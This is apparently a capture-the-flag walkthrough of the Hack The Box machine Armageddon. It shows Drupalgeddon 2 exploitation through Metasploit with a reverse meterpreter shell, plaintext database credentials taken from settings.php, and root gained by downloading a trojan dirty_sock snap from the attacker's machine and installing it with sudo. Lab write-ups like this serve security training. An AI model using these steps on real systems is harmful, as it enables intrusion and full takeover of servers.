HTB Armageddon


Armageddon is an easy Linux box that starts off with only having ports 22 and 80 open. Port 80 is hosting Drupal 7.56, which is vulnerable to an exploit known as Drupalgeddon 2 which allows for remote code execution. From there we get a shell as apache and find a file within /var/www with MySQL credentials. We are able to utilize the credentials to dump the users table of drupal and get a Drupal 7 hash for a user named brucetherealadmin and are able to SSH as the user due to password reuse. From there we see running sudo -l that the user is able to install packages using snap. We craft a malicious snap package by referencing the .snap package utilized in the dirty_sock exploit and get root. Now that the overview is out of the way, let’s walkthrough the box.

TCP Nmap Scan

# Nmap 7.93 scan initiated Wed Mar 22 09:56:13 2023 as: nmap.exe -sCV -oA nmap/tcp.out --min-rate=10000 -v
Nmap scan report for
Host is up (0.098s latency).
Not shown: 998 closed tcp ports (reset)
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 82c6bbc7026a93bb7ccbdd9c30937934 (RSA)
|   256 3aca9530f312d7ca4505bcc7f116bbfc (ECDSA)
|_  256 7ad4b36879cf628a7d5a61e7060f5f33 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_http-title: Welcome to  Armageddon |  Armageddon
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-generator: Drupal 7 (
|_http-favicon: Unknown favicon MD5: 1487A9908F898326EBABFFFD2407920D
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16

Read data files from: C:\Program Files (x86)\Nmap
Service detection performed. Please report any incorrect results at .
# Nmap done at Wed Mar 22 09:56:26 2023 -- 1 IP address (1 host up) scanned in 12.29 seconds

Initial Thoughts

22 - SSH

Usually when I see SSH the only thiing I will really test is how it accepts logins. Do I have to use a key? Can I log in with a password? I can test this by just trying to log in with an arbtirary user and see what the Permission Denied output is:

└─# ssh test@
test@'s password:
Permission denied, please try again.
test@'s password:
Permission denied, please try again.
test@'s password:
test@ Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password).

Password authentication is definitely possible here so I’ll keep an eye out to see if I can find credentials and try them against usernames I might find while searching around.

80 - HTTP

Nmap found a banner for Drupal 7.0. Drupal is a content management system (CMS) similar to Wordpress, etc. While looking into Drupal just by Googling around for exploits for the CMS or by using searchsploit, there is a known vulnerability called Drupalgeddon. This enticed me as the name of the box is called Armageddon which sounds very similar to Drupal + Armageddon so that might be an option. However, it’s always good to validate to see if that exploit will work 100% by searching for a version number.

Shell as apache

Looking at the Nmap output I noticed there was a file called CHANGELOG.txt. Typically, these files will show not only the changes that has happened version to version, but the version numbers as well. Typically the top version you see on the CHANGELOG.txt file will be the version you are currently on. Looking at the CHANGELOG.txt file I saw the following:

Drupal 7.56, 2017-06-21
- Fixed security issues (access bypass). See SA-CORE-2017-003.

So there’s a pretty high chance that we’re running Drupal 7.56. We could also use a tool called droopescan to do some basic enumeration of Drupal for us:

└─# droopescan scan drupal -u
[+] Plugins found:

[+] Themes found:

[+] Possible version(s):

[+] Possible interesting urls found:
    Default changelog file -

It also finds that this might be Drupal 7.56. I like to keep things simple and search for low hanging fruit first so I searched drupal in searchsploit by running the following:

searchsploit drupal

One thing I found in there was this:

Looks like we might be able to use this exploit to get RCE on the host since our version number falls under < 7.58. We can go ahead and open up metasploit and search for this metasploit module and see if this exploit works:

└─# msfconsole

  |  METASPLOIT by Rapid7                                 |
  |      __________________   |                           |
  |  ==c(______(o(______(_()  | |""""""""""""|======[***  |
  |             )=\           | |  EXPLOIT   \            |
  |            // \\          | |_____________\_______    |
  |           //   \\         | |==[msf >]============\   |
  |          //     \\        | |______________________\  |
  |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |
  |        //         \\      |  *********************    |
  |      o O o                |        \'\/\/\/'/         |
  |              o O          |         )======(          |
  |                 o         |       .'  LOOT  '.        |
  | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |
  | |    PAYLOAD     |""\___, |     /    (_||_     \      |
  | |________________|__|)__| |    |     __||_)     |     |
  | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |
  |  = = = = = = = = = = = =  |     '--------------'      |

       =[ metasploit v6.3.4-dev                           ]
+ -- --=[ 2294 exploits - 1201 auxiliary - 409 post       ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Use sessions -1 to interact with the
last opened session
Metasploit Documentation:

msf6 > search drupal

Matching Modules

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/webapp/drupal_coder_exec          2016-07-13       excellent  Yes    Drupal CODER Module Remote Command Execution
   1  exploit/unix/webapp/drupal_drupalgeddon2       2018-03-28       excellent  Yes    Drupal Drupalgeddon 2 Forms API Property Injection
   2  exploit/multi/http/drupal_drupageddon          2014-10-15       excellent  No     Drupal HTTP Parameter Key/Value SQL Injection
   3  auxiliary/gather/drupal_openid_xxe             2012-10-17       normal     Yes    Drupal OpenID External Entity Injection
   4  exploit/unix/webapp/drupal_restws_exec         2016-07-13       excellent  Yes    Drupal RESTWS Module Remote PHP Code Execution
   5  exploit/unix/webapp/drupal_restws_unserialize  2019-02-20       normal     Yes    Drupal RESTful Web Services unserialize() RCE
   6  auxiliary/scanner/http/drupal_views_user_enum  2010-07-02       normal     Yes    Drupal Views Module Users Enumeration
   7  exploit/unix/webapp/php_xmlrpc_eval            2005-06-29       excellent  Yes    PHP XML-RPC Arbitrary Code Execution

Interact with a module by name or index. For example info 7, use 7 or use exploit/unix/webapp/php_xmlrpc_eval

The exploit #1 is the one I’d want to use so we can run use 1 to select that exploit:

msf6 > use 1
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) >

Now let’s run options to see what we need to adjust for the exploit to function properly:

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > options

Module options (exploit/unix/webapp/drupal_drupalgeddon2):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   DUMP_OUTPUT  false            no        Dump payload command output
   PHP_FUNC     passthru         yes       PHP function to execute
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                        yes       The target host(s), see
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI    /                yes       Path to Drupal install
   VHOST                         no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic (PHP In-Memory)

View the full module info with the info, or info -d command.

So we would need to change the LHOST to our HTB VPN IP address, the RHOSTS to the IP of the Armageddon box, and that’s it!

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS

Now let’s run exploit or run and see if we get a meterpreter shell.

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit

[*] Started reverse TCP handler on
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (39927 bytes) to
[*] Meterpreter session 1 opened ( -> at 2023-03-24 00:53:27 -0700

meterpreter >

We got a shell! We can run shell within the meterpreter shell to drop into a shell and run commands:

meterpreter > shell
Process 19114 created.
Channel 0 created.
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0

Shell as brucetherealadmin

After getting a shell I usually like to run linpeas which is a tool used to enumerate interesting files, folders, permissions, etc. but I was unable to get it to execute for some reason even after giving it all the permission it needs. I started to just enumerate manually and look for a way off of this apache shell and get onto a user if possible. I ran cat /etc/passwd and noticed there is a user called brucetherealadmin

cat /etc/passwd
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin

This is most likely the user I want to see if I can get onto. I ran netstat -tulpn to see if there is any local ports open that might be interesting such as a database:

netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0    *               LISTEN      -
tcp        0      0  *               LISTEN      -
tcp        0      0*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 ::1:25                  :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)

There’s most likely a database running on 3306 as that is the default port for MySQL. If I can find credentials to get onto the database and then dump credentials from the database (most likely from Drupal’s database) there is a possiblity I can get onto the user via SSH or just running su to switch to the user. manually looking through /var/www/html/ I found a file under the absolute path /var/www/html/sites/default/settings.php and contained possible MySQL creds.

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupal',
      'username' => 'drupaluser',
      'password' => 'CQHEy@9M*m23gBVj',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',

I can see if I can execute commands and view what databases are available by running this command within the shell:

mysql -u drupaluser -p -e 'show databases;'
Enter password: CQHEy@9M*m23gBVj

Shell as root

Running sudo -l we can see that our user is able to run /usr/bin/snap install *.

[brucetherealadmin@armageddon tmp]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG
    _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *

Snap is a software packaging and deployment system for Linux. Seeing that we can run this as root, this is pointing towards us having to go and create a malicious package to get us a root shell. A known exploit that sort of utilizies this to its advantage is dirty_sock which is a Linux privilege escalation technique using snapd. Within it we can see there is a TROJAN_SNAP variable which is going to make the .snap file. When it is installed, there will be a user named dirty_sock that we can log into using the creds dirty_sock:dirty_sock. From there we can run sudo -i and get root since this user will be in the sudoers group.

+ 'A' * 4256 + '==')

I attempted to run the script on its own and I was getting errors. Instead, I’m just gonna utilize the TROJAN_SNAP variable and base64 decode the output of the print statement and push it into a file called snap_exploit.snap so that the file itself will not be the base64 encoded string, but the actual snap file itself.


Now we can just host this file from our host machine and grab it from the compromised host: We can host this file using the http.server Python module:

└─# python -m http.server 8083
Serving HTTP on port 8083 ( ...

Then grab it from the compromised host:

<$ curl -o vulnsnap_1.0_all.snap
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  4096  100  4096    0     0  21916      0 --:--:-- --:--:-- --:--:-- 22140

From here we can install the .snap file and get root:

[brucetherealadmin@armageddon tmp]$ sudo snap install snap_exploit.snap --dangerous --devmode
dirty-sock 0.1 installed

[brucetherealadmin@armageddon tmp]$ su dirty_sock
[dirty_sock@armageddon tmp]$ sudo -i

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for dirty_sock:
[root@armageddon ~]#